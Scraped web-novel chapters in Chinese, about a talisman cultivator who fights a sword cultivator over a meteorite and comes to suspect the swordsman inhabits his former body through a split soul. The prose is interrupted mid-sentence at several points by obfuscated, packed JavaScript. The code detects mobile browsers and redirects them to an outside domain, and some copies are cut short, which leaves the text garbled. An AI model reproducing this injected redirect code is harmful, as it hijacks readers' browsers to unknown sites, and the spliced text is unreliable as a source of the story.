自从他骂完那一声后,也没有继续对宁时开展言语攻击。 而是调整了方向,继续向陨铁去了。 只是经过了刚才那一下耽搁,他离陨铁的距离比宁时远了。 宁时几乎是志在必得地,继续向陨铁冲去。 此时,却只见眼前横扫来一段红光! 宁时:? 他大脑慢了一瞬,一时没有反应过来这是怎么回事。 直到那段红光扫到了自己身上,将自己逼退一步后,他才在巨大的阻力中艰难回过神来—— 这是来自剑修的反击。 那个从前在金鸡驿中,有些傻白甜的少年不见了。 少年已经长成了一个青年。 他学会了人间的很多东西,并且会用手中的剑,来进行反击了。 宁时挨了这么一下,他依旧没有生气。 他感觉自己的大脑,可能从金鸡驿那次就有些不正常了—— 被这占了他身体的野魂反击后,他居然依然觉得……有点爽。 对方若是不痛不痒地骂自己一句,说明根本没有把刚才的事放在心上。 而剑修却在骂完他后还用灵力打了他。 宁时想,这说明什么呢? ——当然是说明剑修对自己刚才的所作所为在意了啊! 还好啊,宁时想着。 不怕对方生气,就怕对方不在意。 不在意,就像从前剑修他站在巷子里,接受着许多人对他入选合江宗的祝福。 却完全不知在巷口的某棵大树后,有一个渴求的灵魂。 …… 宁时感觉自己的血脉在跳动,一股又一股的血液冲进大脑——他很久没有这么激动过了。 这占据了他身体的野魂身上产生的变化,足够让作为胜意门门主的自己感到欣喜。 他的修为,他的心境,他的性格。 一切都让事情往更加有趣的方向发展。 宁时脑海中思绪万千,而这在现实的黄扬城中,却是一瞬。 在外人眼中,这戴着幕离看不见容貌的黑衣人,动作只是被剑修打过去的红光逼退了瞬间,又继续向陨铁飞去! 于是这样一来二去,两人都被对方打断了一下,反而达成了另一种微妙的平衡——两人距离陨铁,又是差不多的长度了。 而这次,两人谁都没有再干扰对方,都卯足了劲,全神贯注地向陨铁够去。 此时二人的距离,其实已经离陨铁非常近了。 几乎是瞬间的功夫,二人的掌心下都传来了微凉的触感——他们都摸到了陨铁。 黄扬城的荒漠上,巨石俩边,各站了一个青年。 一个风光霁月,一身白衣,右手提剑,红色的发带飘摇。 一个挺拔如竹,黑衣烈烈,幕离遮面,手中夹着一张明黄色的符纸。 他们对视着,对峙着。 剑修的目光在宁时身上转了一圈,最后停留在了他指间的符纸上,先开了口: “是符修?少见。” 可能由于刚才催动了太多的灵力,他的声音沙哑中微微透着一丝不稳,但还是好听的。 比他刚刚骂那一句“下作”时还要好听。 如鸣珮环,如奏笙箫。 尽管如此,但……宁时已经保持着沉默,暂时没有搭理对方的打算。 果然,得不到回答的剑修又说话了。 他道:“刚才你也没有说话。” “问你能不能让出陨铁时没有说话,偷偷打我的时候也没有说话。” 宁时:…… 他继续沉默着。 剑修对此生出的轻微的不满。 他目光聚在宁时身上,似乎要透过幕离看清布料下的面容,一面微微皱眉,道: “你这是拒绝和我交谈的意思吗?” 宁时点点头,同时扔出一枚留影石在地上——他现在拥有的钱已经够买很多很多留影石了,不必像在何家时一样精打细算了。 而面前,剑修先是被他摇头的动作弄得微微一怔,随后又见他扔出东西的动作,下意识地以为有诈,微微向后推了半步。 宁时便嗤笑了一声。 剑修被他笑得回过神来,面上微微露出了懊恼的神色,却是没有再言语。 宁时摊手,又隔空点了一下那留影石。 只见留影石上晕开了一团光,随后缓慢地亮起来,显示的正是二人摸到陨铁的前一瞬间。 宁时放慢了留影石的显影速度。 于是剑修和他一起,看着影像中二人缓缓靠近了陨铁,缓缓伸出手,又缓缓把手贴到了石头上面。 ……不对。 剑修陡然抬起头,看着宁时。 宁时再次摊手,笑了,并说出了他再次见到这具身体时的第一句话: “嗯,所以我们是同时摸到陨铁的。” “慢放了一遍,看清楚了吗?” “按道理,没有什么先来后到……所以,打一架怎么样?” 宁时料定了剑修会同意,他挑眉看着对方,一边在思考对方能不能透过幕离隐约看到自己的表情—— 如果能看到表情的话,那就更好了。 感觉剑修会更加生气呢。 ——宁时恶劣地想。 果然,他意料之中的声音响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见此地红光乱闪,飞沙走石,灵力带起来的疾风比荒原上本身的风大了无数倍,直把二人附近的巨石从地上拔起,高高抛向空中。 而在磅礴的灵力下,这些巨石甚至还来不及落下,就已经在空中被碾成了颗粒。 而在风暴中央,制造了这场混乱的两个人去屹然不动。 他们隔着风沙对视了一眼,几乎同时是立刻就确定了——普通的灵力攻击根本不起作用,无法分出胜负。 那就……只能加大力度了。 宁时右手一翻,手中多出了一张符纸,在烈烈的风中噼哗作响。 而站在他对面的剑修,则是慢慢抬起了拿着长剑的手。 宁时看着那剑上宝石折射出的光芒,突然又想到了从前的那把铁剑。 他几乎是鬼迷心窍地,不由自主开口问道:“你的剑,叫什么名字?” 剑修微微诧异了一瞬,却还是回答了: “攻玉剑。” “他山之石,可以攻玉。” 说罢,攻玉剑上浮出一道灵力,直直刺向宁时! 111. 近战 宁时见了这道剑光,第一个反应居然是诡异地欣慰起来—— 面前的人,终于学会先发制人了。 这样的话,意味着他受伤的可能会变小。 而自己这具已经被占据的身体,也就更少可能受到伤害。 这么想归这么想,但宁时还记得,此时此刻,自己和对方正打得起劲。 于是,在那剑光袭来的途中,他也向剑修扔去了手中的符纸。 那是一张起到阻拦作用的符。 按照古籍上的记载,原本的符只会防御,并没有什么攻击的作用。 但宁时对其进行了改造——他给剑修留了一个小惊喜。 他看着符纸飞过去—— 现在二人真正的打斗才刚开始,处于试探对方实力的阶段。 宁时也能看的出来,剑修这道剑气可以算是毛毛雨,还没有用到五成的力气。 果然,符纸撞上了剑光。 剑光暗了暗,大部分冲击被消散掉了,只留下剩下的一点冲到了宁时面前,微微掀起幕离的下摆。 最初用来遮挡下半张脸的面具已经不知道掉到了哪里,于是,剑修只见对方隐约露出了截苍白的尖下巴。 随后,那阻挡了剑气的符纸就飘了过来,突然炸开! 剑修:…… 这下子完全是形式大于实质,他顺手抽出攻玉剑,把这一波灵力挡了回去。 随后,再次挥剑向宁时打去! 宁时微微后仰,一道红色的灵力冲过他的头顶。 他眯了眯眼,感觉多年未见,成为亲传弟子的对方确实和从前不一样了。 宁时扔出了一张符纸。 这张符纸贴着地面爬过去,在行到剑修脚下的时候,被发现了。 剑修眯了眯眼,挥剑斩了下去。 而宁时等的就是这一下——这符纸被切开后,不但没有失去作用,反而变成了两张会动的符。 一张附在地上,只见剑修脚下的土地开始翻滚,一波接着一波,是把人掀翻的架势。 剑修踉跄了一下,很快恢复了身形,牢牢站在原地。 而分裂出的另一块符纸,则是飘到了剑修摸着陨铁的手边,炸开。 剑修:…… 想到二人约定规则,他如果为了躲这一下而松开手,就相当于把陨铁拱手让人。 这是剑修无论如何都不能接受的。 他皱起眉,挨了这一下子。 符纸爆开的烟尘过后,剑修黑着一张脸,再次提剑砍向宁时! 而这一次,连宁时都看得出来,对方是动的真格。 于是理所当然地,这次他也没能完全躲过。 ——剑气削掉了他腰侧的一块衣服,连带着皮肉也渗出血来,火辣辣地疼。 宁时有些生气了: 明明占了自己身体的是对方,但对方不仅毫不知情理直气壮把这具身体用得心安理得,此时更是打伤了他这个原主。 他冷哼了一声,对上了剑修冷漠的视线。 剑修脚下的土地依旧在翻滚,他似乎打算速战速决,再次提剑。 宁时:…… 他脑子转得飞快,目光落在了对方的攻玉剑上。 这把剑看起来比较长…… 如果自己离对方更近一点,近到一个他不方便用剑的距离呢? 说干就干,宁时一手摸着陨铁,一边顶着剑修的目光和他散发的剑气,朝着对方去了。 剑修:? 他愣了一瞬,很快反应出对方的意图,用气音笑了一声,空手打出一道灵力。 宁时猝不及防,被打得后仰了一步,差点脱手摸不住陨铁。 等他站稳了身形,再次看去,却见到面前的剑修毫不后退,只睁着一双眼睛看着他。 此时两人之间的距离,不过两臂长。 宁时腰侧的衣服呼呼漏风,上面的伤口哗哗流血,搞得他现在的心情很不好。 这占了他身体的鬼东西不知道在合江宗里怎么长的,现在打起人来,变得又厉害又疼。 他舔了舔发干的嘴唇,突然想到了什么。 ……这个距离,对方飘扬的发带似乎触手可及,已经属于近战的距离了。 近战,需要对对方的身体有了解,知道对方的强项和弱点。 而现在剑修正在使用的这具身体,正是宁时他自己从前的原装身体。 那么,这对身体有什么弱点呢…… 宁时的头脑中酝酿着一场风暴,他苦思冥想,却发现从前的自己实在是把自己养得有些太好了—— 没有旧伤,没有内伤,没有行动不便的地方。 他思考间,剑修又对他打出一道灵力,打得他几乎没能扶住陨铁。 这黑了心的野魂! 宁时几乎是咬牙切齿,被气笑了。 ……等等。 有一个念头从他的脑海中飘过,带着一个小尾巴,等他来抓住。 ……气笑了。 ……笑了。 众所周知,人在笑的时候,也会失去力气,很容易被攻击成功。 这条规则,对剑修也同样适用,毕竟剑修虽然会用灵力,但还未能脱离人类的范畴。 而在宁时久远的记忆当中,自己曾经确实有那么一块……痒痒肉。 宁时突然信心大爆发,精神抖擞! 一个另辟蹊径的计划在他脑海中迅速成型: 那就是——出其不意地攻击剑修的痒痒肉。 于是在对战胜这野魂强烈的渴望驱使下,宁时顶着面前剑修不断发出的剑气,硬生生又往前走的一步,把俩人的距离进一步拉近了。 剑修:? 他看起来很不明白宁时的意图。 毕竟从现在的战况来看,剑修是一个远攻近战都全能的对手,对方在受伤的情况下,拉近两人的距离,绝对不是一个好的选择。 事出反常必有妖。 在合江宗内积累的经验起了作用,剑修很快就反应过来——有诈。 他欲后退,想错身转到陨铁的另一侧。 但身后却被什么结实坚硬的东西堵住了去路。 那是被宁时一张符纸调动的泥土,它们刚才还在剑修脚下,此刻却挪了位置,转到了他背后,形成了一面厚重的墙,限制了剑修的移动范围。 剑修挑眉。 虽然事情的变化超出了他的预料,但他并不慌张,而是一手紧贴在陨铁上,另一只手则再次爆出灵力! 宁时歪头堪堪躲过,幕离却被打歪了,露出了他的下巴和嘴唇。 此时根本不容他再次把幕离扶正戴好,他向剑修扔出两张符纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902422|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 这两张符纸中暗藏机关,是贴在一起的。 所以从对面剑修的角度来看,这不以真面目示人的黑衣人,只是扔过来了一张符纸。 符纸飞到他面前,被剑修一剑挡下,爆出了一团绚烂的灵力。 剑修运气阻挡。 这灵气比他想象中的还要强横,几乎是不像属于符修的了。 而且颜色也确实漂亮,不是像剑修自己灵力的那种纯红色,而是在一片红色中,带着些闪烁的光芒。 有种银河倾泻的感觉。 又危险,又漂亮。 剑修便忍不住多看了几眼,一面在心中暗暗叹道: 不愧是符修,连灵力对轰都能做出这么好看的效果。 他的神色变化自然没有逃过对面宁时的眼睛。 宁时几乎要狂喜了——正如他所料,剑修逐渐走入了自己的圈套之中,他果然没有发现另一张符纸。 他一共打出去的那两张符,刚刚炸开的是上面那一张,虽然也灌注了相当多的灵力,但只能称得上是一个障眼法。 重头戏在后面,是隐藏在那一片绚烂的红色灵力中,有意让剑修忽视的另一张符纸。 这张符纸会无声无息地附在人身上,然后可以短暂地和被附身的人产生动作接触。 这对于宁时而言,已经是足够了。 记忆拉回多年之前,那时他还在自己的原装身体里。 还跟婆婆生活在一起。 当时,他被婆婆养得不错,连带着性格也开朗了很多。 在闲暇的日子里,他会和街巷里的小伙伴一起玩耍。 他年龄不大,小伙伴们的年龄也不大。 这群半大的孩子们凑在一起,场面就会变得格外热闹。 他们叽叽喳喳,打打闹闹。 你碰我一下,我撞你一下,然后闹着闹着就滚到了地上。 不过滚到地上的小伙伴也是少数,宁时和另外几个孩子已经开始懂事了,他们知道地上脏,弄脏了衣服后不好清洗。 所以,很多时候,宁时会在旁边看着他们玩耍。 当然,小朋友们玩激动了,也会拽着他一起。 宁时有一次就中过招。 当时他晒着太阳,靠在树下,看着几个伙伴抱在一起摔跤。 猝不及防地,身后传来一股力气——他跌跌撞撞了几步,冲进了游戏的核心圈。 于是自然而然,他也被卷入了这场热闹当中。 他被人推在了地上,对方抱着他滚了两圈。 幼小的宁时:…… 非常不巧的是,对方的手抱在了他的腰上。 虽然婆婆经常会说“小孩子没有腰”,但此时的宁时,却开始感到腰部传来了一阵明显的痒意。 他抖了抖,最终克制不住,还是笑出声来。 抱着他摔在地上的小伙伴看了他片刻,也回过神来,干脆坐起来,疯狂挠他的痒痒。 ……那天其他的事情在宁时的记忆中已经非常模糊了。 只记得到了最后,自己的声音笑哑了。 宁时:…… 往事奇奇怪怪,但有用。 他将目光转移到了剑修身上。 剑修的腰侧被附上了一张符,而他本人却对此一无所知,正要举起他的长剑攻来。 112. 挠剑修痒痒肉 宁时对上剑修手中的攻玉剑,却毫无惧意——他知道,只消自己勾勾手指,催动那一张符纸,就有七成以上的胜算。 有了这个计划打底,他安心极了,透过幕离,和剑修对视。 攻玉剑劈下。 一道红光冲着宁时的门面而来。 宁时不退反进,一面扬起一张带有反弹功能的防御性符纸,一面催动了剑修身上的符纸。 这团红光终于是碰到了宁时刚刚召出的防护罩上。 与此同时,旁边剑修的身体一僵。 他瞪圆了眼睛,一脸难以置信,嘴唇疯狂颤抖,一边抬手指向了宁时。 宁时看着他这副倒霉样子,突然心情好了些。 于是他终于是开了口,嘲弄道:“你想笑就笑出来。” “你憋得连手都在抖诶。” 剑修面色瞬间涨红了,不知道是被他气的还是失了仪态羞的。 他用力咬了咬下唇,最终愤愤道:“你太过分了,竟然用这些歪门邪道来暗算我。” 说罢,又抬起攻玉剑,竟是向继续向宁时砍去! 宁时虽然计划得逞,但也不敢小瞧对方。 他一面催动了防护罩反弹的灵力向对方的方向爆发,一面笑出了声: “兵不厌诈嘛,您可得学着点了。” 说罢,红色在剑修身前炸开。 与此同时,宁时加大了剑修身上符纸、脚下涌动泥土符纸的作用力度。 不出他所料,剑修果然在多方影响下,松开了贴在陨铁上的手。 剑修:…… 他的眼神悲愤极了,但是由于宁时的符纸还没有撤去,腰侧的痒痒肉还被刺激着。 于是他脸上扭曲了几下,露出了一个比哭还难看的笑容。 宁时看着他,事已至此,虽然自己赢了,但看着自己从前的那么一张脸,做出这种表情,还是有些奇怪了。 他在幕离下无声地叹了口气,感觉自己可能有病。 ——明明一开始抱了看着剑修出丑的想法作弄他,可真见他这样,自己却先感到别扭了。 宁时干咳一声,最终还是装作一副沉稳的样子,对剑修道: “既然胜负已定,那就不必再打了。” 说罢,先是把那一整块巨大的陨铁收入储物袋中,接着又撤去了对剑修的控制。 剑修的痒痒肉不再被攻击,便恢复了对表情的管理。 他板起了一张脸,仿佛通过这样,就能把刚才发生的事全都抹去。 宁时哪还能不明白他的心思?张口直接戳穿:“欸我说,你就不要端着了。” “都被我打败了哈。” 剑修:…… 他目光沉沉,死死盯了宁时片刻。 宁时毫不畏惧,对他歪了歪脑袋,示意“来打我啊”? 在宁时心中,他是已经认定了,剑修此刻并不会动自己——合江宗可是名门大派,对方做起事来总是更守规矩的。 却不料,面前陡然袭来一股巨力! 宁时被砸得头晕眼花,在原地转了个圈,等稳下身形后,眼前却依旧是金星乱闪,看不清周围的画面。 而他身前很近的地方,传来了一道人声。 依旧是那很好听的音色,是剑修的声音。 他说: “一码归一码,你刚刚虽然赢了,但手段不光明。” “我这一下子,就是还给你的。” 宁时震惊了。 他没有想到,剑修居然真的为他刚才的所作所为动了气,还真的有效地报复了回来。 他张口骂了一句,眼前依旧是模糊的景物——剑修这一下下手不算轻,他现在还没能恢复清晰的视野。 宁时不爽了。 他凭借对方声音的方向,朝外挥出一道灵力,欲向对方打去! 手上却重了一瞬。 宁时:? 哦,原来是剑修把他自己酝酿着灵力的手生生压了下去。 自然也是熄灭了那团即将爆发的灵力。 宁时:…… 他快要气死了。 久远的,因为落选而在竹城郊外偷偷哭泣的惨痛记忆涌上符修的心头。 宁时深吸了一口气——还好,此时他被打到模糊的视野终于恢复了正常。 他抹了把脸,恶狠狠瞪着面前的剑修。 剑修冷着一张脸,没什么表情。 然后出手如电! 宁时只觉得眼前一花,随后感觉面上凉凉的,视线似乎比刚刚……更加清晰了? 他下意识地抬手摸了摸眼前,又看向已经恢复了站姿、像什么都没发生过但手里已经多拿了某样东西的剑修,然后差点绷不住了—— 剑修手中,是前一瞬间还戴在自己头上的幕离! 这人把自己蒙面的东西扯了下来! 宁时在原地有些僵了。 此时此刻,他无比庆幸,自己在匆忙之中,还是弄了一张假脸皮的。 ——他和对方是有私人恩怨不假,但并不打算把胜意门同合江宗交恶。 那才算是找死。 …… 宁时对着剑修的目光,挑眉:“怎么了?” 此时他虽然带着一张假面,但胜在脸皮好看,这具身体骨相也好看。 因此在外人看来,这只是一个面色略微苍白,长眉入鬓,眸如点漆的青年。 剑修看着他,一手拎着攻玉剑,一手提着刚刚摘下来的幕离,冷冷道: “我可算是记住你这张脸了,别让我再看到你。” 说罢,将手中的幕离往对方怀里一塞,便头也不回地走了。 宁时翻了个白眼。 他在心里想,反正这张脸皮也是假的,记住也没关系。 ——大不了就换一张。 只是有点可惜了,这张脸皮还算得上是他比较喜欢的一张。 ……也许可以重复利用。 宁时突然灵光一闪。 既然这张脸皮已经和剑修心中的“抢了自己东西的对头”绑定,那换一种思路,也就是说,他在未来想继续坑剑修、抢剑修东西的时候,依然可以再次使用这张假脸皮。 毕竟第一印象已经差到谷底了,不如干脆把这张脸和剑修死对头的身份绑定。 ……然后像背后灵一样跟着他。宁时如是想。 而他面前,剑修见取得陨铁无望,再加上看过了黑衣人的面容,也没什么牵挂了,转过身欲离去。 宁时一回过神来就看到了他的动作,不干了—— 想得美,剑修又是伤了他,又是掀了他的幕离,这哪里由得到他说走就走? 他愤然起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有其他问题的话,我就想回去了。” 宁时:“……不许走。” 剑修:? 他满脑子问号,突然就很后悔此次下山去魔界,没有看黄历。 他多少有一些不耐烦了:“怎么,陨铁你已经拿到了,丹药也给你了。” “你还有别的事要说吗?” 宁时看着他。 看着他熠熠生辉的发冠,看着他手中寒光凛凛的长剑。 又看着他飘扬的衣袖。 在确认了对方身体状态无恙后,那名为嫉妒的情绪开始占据了上风。 宁时不知道自己是怎么了,他脱口而出: “你就没有怀疑过自己的这具身体有问题吗?” 剑修:? 第一句话出口后,说出后面的话也变得顺利起来: 宁时听见自己的声音在说: “你就没有怀疑过,自己失忆的原因,是因为你的灵魂就根本不应该在现在这具身体上。” 113. 双主魂 这些话在宁时的心中,已经憋了很久很久。 此时此刻,对着正主说出去,竟是意外地畅快。 而看着面前剑修茫然又无措的表情,宁时心中更是得意。 ……看吧。 你引以为傲的东西。 你的经脉,你的修为,你的血肉,你的骨骼。 应该全都是我的。 应该全都是只属于我的。 宁时阴暗地想着,如果继续说下去,剑修会是什么反应呢? 他是会撕掉这一层彬彬有礼的人皮,露出里面孤魂野鬼的腐朽吗? 还是会假装什么也听不懂,转身离去呢? 真的很想看到他的反应啊,宁时想。 所以,他继续说了下去。 他说: “别装了,你真的失忆了吗?” “你真的已经忘记了这具身体的来历了吗?” “你这个小偷,你是一只鸠占鹊巢的杜鹃。” “不知道这个身体你用的是否可还舒服?” 剑修的眼睛慢慢瞪大了,却是什么话都没有说。 宁时看着他,心中暗道原来是第二种反应。 装作什么都不知道。 但是这些话,他还是要继续说完。 宁时扬声:“你偷走了属于别人的人生。” “你应该去死的,江晏。” 他用这一句话做了总结。 剑修没有想到对方能说出这些话,神色微微怔住了。 他沉默片刻,抬起头,对着宁时道: “其他的问题先放一放……你是怎么知道我名字的?” 宁时咬牙:“不,这个不是重点。” 剑修观察着他的神色:“我算是看明白了,你早就认识我,对不对?” “看起来对我还有几分了解,所以知道我的姓名,也不足为奇。” “只是……”剑修再次提起了剑,“你那些关于什么灵魂什么身体的无稽之谈,实在荒谬。” “我在竹城长大。” “我曾经有爱我的亲人……虽然他们现在已经不在了。” 宁时:“不,你没有亲人了。” 剑修扫了他一眼,可能被他的无礼冒犯到了,于是口中毫不客气: “哦,那是你的理解。” “看你的所作所为,想来从小没有收到过什么关爱吧?” “所以才会说出那样的话,也不足为奇了。” 宁时:…… 这野魂牙尖嘴利,完全是挑到了他的痛处踩。 剑修在对方脸上看到了表情的崩坏,于是继续满意地说下去: “我只是失忆了。” “对于灵魂与身体是否契合这件事,合江宗自然是给我仔细检查过的。” “结果是——现在你看到我正在使用的身体,就是我原原本本、和灵魂严丝合缝相符的身体。” 宁时挑眉:“你猜我信不信?怎么会有宗门费这么大劲,就为了检查这种无关紧要的东西?” 剑修望着他,神色中隐约带了几分怜悯。 他缓缓开口:“首先,我认为这并不是无关紧要的。” “而且你对于我,对于我的灵魂和身体的适配程度,表现出了前所未有的关注。” “这不可能无关紧要。” 他接着说下去,看着宁时,眼神像在看一条小流浪狗: “至于宗门做这样的检查……你凭什么认为不会?” 剑修轻轻抚过攻玉剑:“啊,我忘了你是一个连师门都不敢报的鼠辈。” “想来也是没这个条件给你们检查的吧。” 宁时:…… 他彻底破防了。 有一股热血冲上他的脑子,连带着里面的血管都在一跳一跳的。 宁时伸出手掌,一把向对方拍去! 这一下,他用的十足的力气。 剑修早已料到他会突然发疯,并没有躲开,只是提起剑来格挡。 一瞬间,两股灵力相撞,掀起的余波冲飞了周围环绕的巨石。 宁时一击不成,皱了皱眉,又随即打出了第二下! 剑修没有想到他会这样发疯,难以置信道:“……你有病吧!” “我有招你惹你了吗?” 剑修的语气,相比于之前更加不耐,可以说是彻底放弃了礼貌的沟通。 但宁时却升起了一种难以言明的痛快—— 明明对方和自己一样,都是见不得光的身份。 凭什么他就可以披着一张名流的皮,装作一副好人的样子呢? 越是这样,他就越想要撕掉对方的礼仪。 让他忘记自己在合江宗里学到的东西。 然后变得像自己一样。 …… 剑修躲过了他的第二下,并进行了回击。 于是顺理成章的,二人又开始打了起来。 这次,失去了对陨铁的顾虑,场面更是昏天黑地。 剑修有所准备,在自己身体周围运转灵力,根本不容异物近身。 于是宁时只能在他旁边的物体上下功夫,将符纸贴到上面来。 这令他有些烦躁。 而同样烦躁的还有看似占据上风的剑修。 在不用碰触陨铁后,对方的身形比刚才更快了,数次躲过了他挥出的剑光。 剑修每一击都在落空。 二人如此打了一刻钟……竟是完全没有分出胜负。 然而和陌生人对战,极为消耗体力和脑力。 现在,两个人都有些累了。 他们各自靠在一块巨石上,相隔了十余丈的距离,安静对视。 宁时不知道剑修在想什么,他只知道自己现在很是烦躁。 他忍不住按了按额角,但摸到皮肤的那一瞬间,又想起现在这块脸皮是匆忙之间贴上去的—— 再摸就摸皱了,很可能出现脸皮掉了的情况。 他便悻悻地放下手,转而有一下没一下的敲着身旁的石头。 他想,怎么会有人脸皮这么厚呢? 明明是对方强行占用了自己从前的身体,但居然还用的理直气壮的。 至少他在对方身上,没有发现一丝一毫愧疚的情绪。 宁时想,这是不正常的,尤其是在剑修宗门那种正道之光的氛围下。 这样只有两种可能。 一种就是对方确确实实失忆了,误打误撞占据了自己的身体。 而另一种情况,就是对方伪装成正人君子演技太好。 宁时望着对面的人影,换了个站姿,结果不小心牵动了腰侧还没有完全愈合的伤口,让他呲牙咧嘴了一下。 ……伤口都会愈合的,这是小问题。宁时想。 对方这个人到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902424|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是怎么回事才是大问题。 虽然自己刚才推测出了两种可能,但是再仔细往深一想,他又觉得这两个方向都不是很正确。 ——自己用见行符观察了他这么多年,确实正如剑修所言,他现在的灵魂和现在的身体极为契合。 没有出现过灵魂和肉身不兼容的不适。 这是一个足以推翻前两种猜测的线索。 那么,事情就奇怪了。 宁时抓了把自己的头发,有些抓狂——事已至此,连他也不知道自己究竟想要怎样做了。 如果身体换不回来,自己就要这么把目光紧紧跟在剑修身后,看他一辈子吗? 而如果身体能换回来……自己那么大一个胜意门怎么办!去合江宗要学剑法又怎么办! 他无语望苍天。 而在他对面,剑修观察着这个看起来精神不太正常的黑衣人。 只见他不知脑补了什么,脸上的神色风云变幻。 剑修:…… 他错了,他就不应该挑这个日子去魔界着急抢陨铁的。 剑修现在只想逃离这个鬼地方。 他想了想,扬声道:“到此为止吧。” “江某就此别过了。” 说罢,转身欲走。 站在远处的宁时自然是听到了他的话,他本能地御气向对方飞去,试图阻拦。 剑修被他这神经病纠缠了这么久,早就预判了他的动作,身形一晃,往一旁躲去了。 宁时见他的动作,却突然怔住了。 好像是有一个细小的钩子,把刚才两人对战中所有的细节都串联了起来。 ——打斗中,两个人很多习惯都是一样的。 比如说攻击的时间、攻击的动作。 甚至不仅是打斗中的动作。 就在前一刻,他还看到剑修靠在身后的巨石上,有些烦闷地按额角。 然后剑修看起来还想捋一把头发,但这个动作因为他已经带了发冠而硬生生止住了。 ……这些小动作,为什么也会这么相似呢? 宁时想。 如果说是原本身体的作用,那自己现在使用的也是别人的身体,却为什么也会做出这种动作呢? 这些年里,他先是看过何家乱七八糟的藏书,然后又看过了一些比较小众的修真材料。 在当时,很多东西,他只是看了,也只是知道有这么一回事,并没有放在心上。 而此时此刻,看着面前的剑修,从前他所读的某一本书中的某一段文字渐渐浮上脑海。 逐渐在他的记忆中更加清晰了: “人有一主魂,此乃常事。” “天下芸芸众生,莫非如此。” “亦有异者,罕见如日月同悬。” “此异者,为双主魂。” “总角至而立,或双魂安于一体,互不相干。” “或一主魂逸出,另寻寄体。” “逸出者,可谓之分魂。” “双主魂此事不类伦常,有悖天道,故有损伤之症。” “外现于体,多为忘却前世,不知来处。” …… 记忆中的古籍被一把合上。 但脑海中写着这几句话的墨迹,却愈发浓重起来。 几乎是在宁时心头挥之不去了。 他怔怔地望着剑修,一时间没有了动作。 114. 猜测 一体双魂之事,到目前只是个猜测。 但宁时心中却几乎能肯定,这就是事情的真相了。 因为有许许多多从前被他忽略掉的细节,此刻都能串联起来了。 还记得那年在金鸡驿,他与尚是少年的剑修同坐在一起吃饭,两人的筷子总是不约而同地夹向同一道菜。 就连对方在宗门里面的表现也是。 宁时曾经想过,如果当年是自己进入了合江宗,也会做出和少年一样的选择—— 那就是努力地学,拼命地变强。 好像只有这样,他才能脱离从前那些苦兮兮的日子。 但剑修确确实实已经丧失了从前的记忆,却依然做出了宁时想象中的选择。 这怎么不能算一种默契呢。 时间再往后推上几年,就是他们此刻在魔界的相遇了。 一样的攻击套路,一样的小动作。 也许真的只有一体双魂和分魂的说法,才能解释这件事了。宁时想。 如果想进一步确定事情真相的话,他自然也有办法。 作为一个造诣还算高深的符修,制作一张探测灵魂的符纸并不是什么难事。 只是和灵魂相关的事情,总是会有一些难度和麻烦。 也就是说,这张符纸并不是他现在想画就能画出来的。 他需要一段时间来研究和调试——这时间肯定不会是今天。 自然,他在今天是无法通过符纸来验证对方灵魂的真相了。 宁时想到这里,微微心急了起来,他几乎是迫不及待地想回到人间的胜意门了。 然后窝在自己的房间里,制作出这一张能决定他自己和对方未来人生的符纸了。 宁时思绪腾飞,表现在面上,就会显得眼神飘忽,心不在焉。 他面前的剑修自然是察觉到了。 ——明明刚才还和自己打得热火朝天的对手,突然停下手中动作,开始在一旁发愣。 这任谁来了都能看出不对劲儿吧! 但有了刚才和对方对战的经验,剑修谨慎了很多。 他只是远远看着对方,犹疑地向后退了几步,默默拉开自己同这个黑衣人的距离。 而宁时对此无知无觉,依旧沉浸在一场“恨了这么多年结果发现恨的人是另一个自己”这场荒诞的闹剧中。 剑修见对方没有反应,便彻底放下心来,加快了御气逃离的速度——他被这个神经病已经在这里纠缠一天了,此时不跑,更待何时? 他通用灵力,身形几乎是化成了一道红光,在黄扬城上空略过去了。 可宁时毕竟修为和他不相上下。 剑修此时逃跑的动静有些大了,自然而然,也就被宁时注意到了。 宁时只觉得远处的天亮了一瞬,似乎有红光穿透混浊黄沙,他便下意识抬头望去。 然后正好和飞在天上、正紧密关注着他的动向的剑修对上了目光。 宁时还没有什么动作,但剑修神情为之一凛! ——他几乎是要怕了这不知道底细黑衣人,对方看过来,便觉得对方是要冲上来打自己。 剑修握紧了手中的剑,已经做好了再次面对一场恶战的心理准备。 然而出乎他的意料,面前的人眼神发直,犹如梦游一般。 他漆黑的眼睛深不见底,直直在自己身上转了一圈,却没有再做出攻击的动作。 